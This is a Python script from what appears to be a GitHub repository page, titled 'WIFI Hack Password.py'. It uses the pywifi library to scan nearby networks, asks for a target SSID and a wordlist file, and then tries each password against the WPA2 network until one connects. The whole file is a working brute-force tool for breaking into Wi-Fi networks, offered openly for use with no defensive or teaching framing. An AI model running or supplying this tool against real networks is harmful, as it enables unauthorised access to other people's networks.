-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathWIFI Hack Password.py
80 lines (63 loc) · 2.32 KB
/
WIFI Hack Password.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import pywifi
from pywifi import PyWiFi
from pywifi import const
from pywifi import Profile
import time
def select_wifi_interface(interfaces):
print("Available WiFi Interfaces:")
for i, interface in enumerate(interfaces):
print(f"{i + 1}. {interface.name()}")
choice = int(input("Select the interface number: ")) - 1
if 0 <= choice < len(interfaces):
return interfaces[choice]
else:
print("Invalid choice. Exiting.")
exit()
try:
wifi = PyWiFi()
interfaces = wifi.interfaces()
if not interfaces:
print("No WiFi interfaces found.")
exit()
selected_interface = select_wifi_interface(interfaces)
print(f"Selected WiFi Interface: {selected_interface.name()}")
selected_interface.scan()
time.sleep(2) # Give time for scanning
scan_results = selected_interface.scan_results()
print("Available Networks:")
for i, result in enumerate(scan_results):
print(f"{i + 1}. SSID: {result.ssid}, Signal: {result.signal}")
except Exception as e:
print("Error:", e)
exit()
def connect_to_wifi(SSID, PASSWORD):
prof = Profile()
prof.ssid = SSID
prof.auth = const.AUTH_ALG_OPEN
prof.akm.append(const.AKM_TYPE_WPA2PSK)
prof.cipher = const.CIPHER_TYPE_CCMP
prof.key = PASSWORD
selected_interface.remove_all_network_profiles()
temp_prof = selected_interface.add_network_profile(prof)
time.sleep(0.1)
selected_interface.connect(temp_prof)
for _ in range(3): # Retry for up to 10 seconds
if selected_interface.status() == const.IFACE_CONNECTED:
print(f"Connected to {SSID} successfully with password: {PASSWORD}")
exit()
time.sleep(1)
print(f"Failed to connect to {SSID} with password: {PASSWORD}")
def run():
try:
target_ssid = input("Enter the target SSID: ")
target_passwords = input("Enter passwords file path: ")
with open(target_passwords, "r") as file:
passwords = file.readlines()
for password in passwords:
password = password.strip()
print(f"Trying password: {password}")
connect_to_wifi(target_ssid, password)
print("All passwords are incorrect!")
except Exception as e:
print("Error:", e)
run()